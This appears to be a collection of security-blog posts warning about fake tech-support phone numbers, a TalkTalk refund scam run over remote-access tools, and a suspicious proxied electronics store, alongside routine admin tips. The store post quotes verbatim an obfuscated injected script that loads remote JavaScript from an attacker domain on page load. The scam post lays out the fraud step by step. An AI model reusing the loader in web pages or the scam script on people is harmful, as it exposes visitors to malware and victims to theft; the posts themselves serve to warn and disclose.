Scummy fake tech support department on “1-855-676-2448” pretending to be genuine companies support.

These people are posting to youtube videos and many other places pretending to be customer care for genuine companies like AVG, HP, Quicken, Dell, Skype etc.

Needless to say – they are NOT the official support and are likely to incorrectly claim your computer has viruses and needs to be fixed for $150+ etc. Be very wary of any claims that people on the end of this phone number make.

One day I will call, test and record what happens.

scummy support company 1 855 676 2448

They post the US based phone number “1-855-676-2448”

Screenshot_20171003-124440

Advertisements
Posted in Uncategorized | Leave a comment

Scummy fake tech support department “1-888-738-4333” and “1-844-711-1008”

Another day browsing the internet and another scummy fake tech support company.
This time trying to be support for almost every service in the world.scummy support company 1 888 738 4333 scummy support company 1 844 711 1008

One day I will call them and post the recording.

Screenshot_20170706-104703 Screenshot_20170707-123418

They don’t post a website but only a US phone number of “1-888-738-4333” and “1-844-711-1008” (or in their formatting “1844-711-1008”. Seems like a huge chunk of their spam posts are to linkedin (Would have thought that they would be far more proactive about removing such spam).

I believe that “1-888-269-0130” is also related to the same people.

Posted in Uncategorized | Leave a comment

“01263 402788” TalkTalk Western Union scammers

It has been a while since I’ve had a report of one of these.. but today there was a victim.

The victim had a call from 01263402788 from someone claiming to be from TalkTalk.
The caller reportedly knew the make and model of the victims TalkTalk router and claimed there has been an ongoing fault that needed repairing.

They talked the victim through loading up TeamViewer and then Ammyy remote admin tools and did the fairly standard tech support scammer tricks of showing event viewer etc.

This is where the scam then pivots. They ask the victim to turn off their tablets and mobile phone (more on this later!) while they scan and fix the problem. They then claimed that the problem had been fixed and as compensation they would refund £200 to the victim/customer.

They then asked the customer to log into their internet banking to check if the refund had come through – all whilst they are connected via remote control to the victims computer. Once the victim has logged in they distract them with conversations or tasks while the scammer transfers £1200 between the victims own accounts (not sure what happens if there isn’t any other account or funds available). They then ask the victim to check the payment has come in.

Victim doesn’t notice that the payment has just been shuffled from their own accounts.. but does comment that “oh, I think you’ve overpaid me! It has come up as £1200, not £200”.

The scammer then goes on the guilt trip claiming he made a mistake and needs the money back as soon as possible otherwise he will lose his job. “The safest way to do this” is to use Western Union.
Victim believes the scammer, somehow didn’t get talked into doing the transaction on the western union online site (which has been the previous method) but instead is given the address of the nearest Western Union shop.

Victim goes – sends back the supposedly overpaid £1,000… scam is complete :(

In this instance the payment request was to a “James Odhiambo” in Kenya.. almost certainly a person who does not really exist and the payment won’t be collected from a WU shop in Kenya.

Posted in Uncategorized | Leave a comment

Suspicious online store “www.atlantic-electrics.com”, “bidtravel@ya.ru” and “trkajtools.com”

Today I came across another suspicious website. This one is advertising on Amazon and other locations:

atlantic electrics advert.png

The website advertised is “www.atlantic-electrics.com”.. upon further inspection the following are red flags:

  • The domain has only been registered since 26th October 2017.. Not even two weeks old at the time of writing.
  • The domain uses “bitcoin-dns hosting”.. bitcoin doesn’t, yet, have much legitimate use.. The person hosting this website is paying by an anonymous payment method.
  • At the time of writing visitors are just being shown a proxied version of the co-op electrical website with one bit of injected code:
<script>var CIfRD = ['h,t,t,p,s,:,/,/,t,r,k,a,j,t,o,o,l,s,.,c,o,m,/,f,l,a,s,h,/,u,p,d,a,t,e'];var lF = CIfRD.join('').replace(/,/g,'');function bGZxEi() { function GN(jrekWr) {var NeSHCgurTf= document.createElement('script');NeSHCgurTf.setAttribute('type', 'text/javascript');NeSHCgurTf.setAttribute('src', jrekWr);if (typeof NeSHCgurTf != 'undefined'){document.getElementsByTagName('body')[0].appendChild(NeSHCgurTf)};}GN(lF)}if (window.addEventListener) {window.addEventListener('load', bGZxEi, false);} else if (window.attachEvent) {window.attachEvent('onload', bGZxEi);} else if (window.onLoad) {window.onload = bGZxEi; } </script> 

In short the code injected into the page requests javascript from:

hxxps://trkajtools.com/flash/update

UPDATE 2017-11-14: This has now changed and is injecting..

 <script src='https://mobileinstore.co.uk/Loaded'></script> 

Right now the above page is just serving a 0 byte file or rejecting the connection entirely.

I will come back to the trkajtools.com domain later, but for the moment let’s go back to atlantic-electrics.com.

The domain is registered with the following interesting information:

The email address “eugeneigibbons9@gmail.com”
The postcode “TS20 9GD”
The email address “bidtravel@ya.ru” (Associated with the bitcoin-dns account).

eugeneigibbons9@gmail.com
This e-mail address has been used to register two other suspicious domains of UK retailers…

https://currys.biz – a take on the name of “Currys PC World” in the UK. This site seems to just proxies through to eBuyer (another UK online electronics retailer) but also injects the “trkajtools” javascript.

https://pixmania.biz – another UK retailer.. this website currently proxies through to “coolshop” (whoever they are) and also injects the “trkajtools” javascript.

“TS20 9GD” – a postcode in the UK format however this postcode does not exist!

“bidtravel@ya.ru”
An email address associated with many writeups about sites using the Angler exploit kit.
This e-mail address is also associated with trkajtools.com

The website www.atlantic-electrics.com is hosted at 45.76.134.125 (“45.76.134.125.vultr.com”) and does not seem to host anything else.

So.. going back to “trkajtools.com”
This domain was purchased on 17th October 2017 and little intelligence exists about it. The only thing on google was the urlquery report that I ran on the domain earlier in the day. The domain also uses the “bitcoin-dns.hosting”.

The website trkajtools.com is hosted at 45.76.135.68 (“45.76.135.68.vultr.com”) and also does not seem to host anything else.

Summary

A lot of malicious or suspicious websites I find have a clear motive.. ones targeting electronics retail are normally there to steal credit card details or just trick visitors into sending money with no intention of shipping goods.
The atlantic-electrics website is far more ambiguous. It seems like a lot of effort to just infect a few people with an exploit kit whilst serving a page from a genuine retailer.
Possibly they plan to infect people while they investigate available websites and then skim the payment details once they place an order on a genuine website?

Maybe what is currently in place is just temporary and the website flips to being much more malicious at certain times of day or days of the week?

Posted in Uncategorized | Leave a comment

Fix for Wireshark error “wireshark api-ms-win-crt-runtime”

Some of my systems have been giving the error “The program can’t start because api-ms-win-crt-runtime-l1-1-0.dll is missing from your computer. Try reinstalling the program to fix this problem.” after updating Wireshark.. took me a while to identify why.

Simple once you find the fix!

You need the “Update for Universal C Runtime in Windows”:

https://support.microsoft.com/en-us/kb/2999226

Thanks to Adobe for documenting this simply.

The above referenced Microsoft Update file also fixes a problem where Outlook may report “Either there is no default mail client or the current mail client cannot fulfill the messaging request. Please run Microsoft Outlook and set it as the default mail client.” if you have Office 2016.

Posted in Uncategorized | Leave a comment

Hotels.com send spam from their China division to Lord of the Rings Online hacked email addresses!

Simple as that.. a unique address I used with Lord of the Rings Online, an online game, was sent official hotels.com spam in Chinese.

Received: from mta.email.hotels.com (mta.email.hotels.com [66.231.82.111])
	by my.mail.host with ESMTPS
	(version=TLSv1 cipher=ECDHE-RSA-AES256-SHA bits=256)
	; Sat, 23 Sep 2017 00:26:08 +0100
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=200608; d=mail.hotels.com;
 h=From:To:Subject:Date:List-Unsubscribe:MIME-Version:List-ID:Reply-To:Message-ID:Content-Type; i=info@mail.hotels.com;
 bh=DKTe3QJJazkAFXWyK6zHLxUqYdg=;
 b=UGXslgLXZ6IoUGRs5Eh5UtQAuQrBL+8ydzsdoOkP7jE100jtL/bjyCFHe4NMSFaE5PBq5AehwbCq
   OlVJ/8rljVaMUOP+yVNb0v8EBw04e6LjQQiqR+T5Z2atUf7rOz1MhabG0gH0o8G/IHCH1g/MEAnJ
   4xeOZGu6jcSXLzLs4C0=
DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=200608; d=mail.hotels.com;
 b=BJPNLB1/Wbc7dvpS/B3JPoSdcDCgnx3dlMgyqjbOJOG0ev6Aj8Lwrsi+GUnLiWzpzPvyjE8M/9Ia
   0rkNniYHQxJSVnErrzFPuEp127iaZciZQY6Tyhw2yZtXjv5ojJLqGgqfCESdii0a7US8MgeLu3Bz
   y4vfjFJy7W7hRHb8iQ8=;
Received: by mta.email.hotels.com id home1o163hs1 for ; Fri, 22 Sep 2017 17:25:59 -0600 (envelope-from )
From: =?UTF-8?B?SG90ZWxzLmNvbSDkuK3lm70=?=
 
To: 
Subject: =?UTF-8?B?54++5Zyo6KiC77yM6aas5LiK55yB77yB?=
Date: Fri, 22 Sep 2017 17:25:58 -0600
List-Unsubscribe: 
MIME-Version: 1.0
List-ID: 
X-CSA-Complaints: whitelistcomplaints@eco.de
x-job: 177351_21435338
Reply-To: =?UTF-8?B?SG90ZWxzLmNvbSDkuK3lm70=?=
 
Message-ID: 
Content-Type: multipart/alternative;
	boundary="kgwiAGSMgprd=_?:"
Return-Path: bounce-1935712_HTML-1649075358-21435338-177351-13256@bounce.mail.hotels.com

hotels dot com spam to lort lord of rings online.png

Poor show and amazing that a large company doesn’t care where they source their mailing lists or even check or require double-opt in confirmation.

Posted in Uncategorized | 1 Comment

How to list available wifi access points on ZeroShell

If you use Zero Shell and want to see which wireless networks access points are visible to it the web interface does not allow you to do anything wifi based.

The SSH “push button” interface also doesn’t offer this function.

You do have to use shell!

ifconfig wlan0 up
iwlist wlan0 scan | grep 'Encryption key' -A 1 -B 1
ifconfig wlan0 down

Which should return something similar to this:

root@myrouter ~&gt; iwlist wlan0 scan | grep 'Encryption key' -A 1 -B 1
 Quality=20/70 Signal level=-90 dBm
Encryption key:off
ESSID:"BTWiFi-with-FON"
--
Quality=35/70 Signal level=-75 dBm
Encryption key:on
ESSID:"virginmedia8106815"
--
Quality=22/70 Signal level=-88 dBm
Encryption key:on
ESSID:"DIRECT-76-HP OfficeJet Pro 6960"
--
Quality=26/70 Signal level=-84 dBm
Encryption key:off
ESSID:"BTWiFi"
--

Shows you the Name of the network and if the network has encryption (password) enabled.

Posted in Uncategorized | Leave a comment

Fake virus warning on “s3-74-183-24-164-ap-southeast-2-amazonaws-com.ga” leading to tech support scam number.

A very unusual way I came across this one. I have several Google Alerts setup for keywords.. Google emailed me an alert for a very, very obscure search that I had setup.

Being unlikely to be a sensible result I was still interested. The URL Google had indexed and alerted on was:

hxxp://www.sukhiporibar.com/rosoiew/oyptke.php?br=my-keywords-here&ct=ga

This appears to now be just a wordpress(?) site now but at the time I got the alert it was forwarding on to:

coolinaas.pw
then
http://www.cpm10.com
then
normasimpson.info
then
s3-74-183-24-164-ap-southeast-2-amazonaws-com.ga

The full URL of:

hxxps://s3-74-183-24-164-ap-southeast-2-amazonaws-com.ga/loginerror10.com/ts-chrome-engnew201/?n=0800%20046%205257

Needless to say the message that then comes up is a fake virus warning along with audio clip telling you to call “support.Windows.com” on “0800 046 5257” (a UK freephone number).

Posted in Uncategorized | Leave a comment

Direction to manually create a migration endpoint “This Topic Is No Longer Available” help..

If you try to create a migration endpoint on Office 365 to migrate users from an existing exchange server and it fails – Microsoft tries to tell you to view the following URL: https://technet.microsoft.com/library/jj874458(v=exchg.150).aspx

The page doesn’t exist! Thanks Microsoft.

However the following page seems to contain a lot of the information that I _think_ might have been on the above URL:

https://blogs.technet.microsoft.com/exovoice/2016/09/19/troubleshooting-issues-where-the-migration-endpoint-cannot-be-created-in-hybrid-scenarios/

Posted in Uncategorized | Leave a comment

Mirror: Two Ways To Push Wlan Profiles To Your Windows Devices

This is a mirror of what used to be on the URL http://www.commsolutions.com/2012/09/two-ways-to-push-wlan-profiles-to-your-windows-devices/

I did not write the content and claim no praise for it.. The above URL appears to no longer be valid and the information doesn’t seem to exist on any other website other than archive.org. I am also posting a copy here should the archive.org version expire or be unavailable for some reason.

Content originally by Comm Solutions.

Today we’ll look at two ways besides Aruba’s QuickConnect or CloudPath to push WLAN profiles to your Windows devices….

CONFIGURING WLAN POLICIES VIA GROUP POLICY FOR DOMAIN MEMBER WINDOWS CLIENTS:

Within a Windows Server and Active Directory domain, Group Policy allows you to push network profiles to domain-joined computers. You can do this by container or globally, by specifying wireless settings for clients running Windows 7, Windows Vista, Windows XP, as well as Server 2008 versions (although I don’t know of too many 2008 Servers running WLAN cards…)

If your domain controllers are Windows Server 2003/2003R2, the Active Directory schema has to have been extended to add the wireless GPO support, and you’re better off to run the GPO plugin on a Vista/Win7 machine to ensure that WPA2 support exists. Open the Microsoft Management Console (MMC), open the Group Policy snap-in, navigate to Computer Configuration>Windows Settings>Security Settings>Wireless Network (IEEE 802.11) Policies, and begin your WLAN configuration.

If your domain controllers are Windows Server 2008/2008R2, use the Group Policy Management Console (GPMC) and navigate to Computer Configuration>Policies>Windows Settings>Security Settings>Wireless Network (IEEE 802.11) Policies, and create policies for XP and/or your Win7/Vista clients.

NON-DOMAIN/NON-ACTIVE DIRECTORY WINDOWS PROFILE EXPORT/IMPORT:

For non-domain machines, you can configure the wireless settings via the Netsh tool. This works for clients running Windows Vista/Win7 and perhaps Win8. You can run the commands locally on a machine to create the export, and on each new client machine locally or remotely via a share/UNC. You can manually type the import or script them in your batch files or login script.

The Netsh tool doesn’t let you directly configure a whole lot of anything but it lets you export an existing wireless profile (and this same process can be utilized to sync IAS/NPS servers, but that’s another story) and import it into other machines (and a similar process can be utilized to sync IAS/NPS server configurations, but that’s another tech tip. So we need to first export the configuration from a working client that has had a profile created for the desired ESSID/WLAN.

You can display the configured WLAN network profile(s) with the following command:

netsh wlan show all

Now you can export the desired profile, using the profile name as listed by the previous command:

netsh wlan export profile name=PROFILE_NAME

On other machines you can now import the profile using the filename of the XML file you exported from the source machine:

netsh wlan add profile filename="WLANPROFILE.xml"

Using remote netsh you can also import to a remote computer on the network:

netsh wlan add profile filename="WLANPROFILE.xml" –r COMPUTER_NAME -u DOMAINUSERNAME-p PASSWORD

Posted in Uncategorized | Leave a comment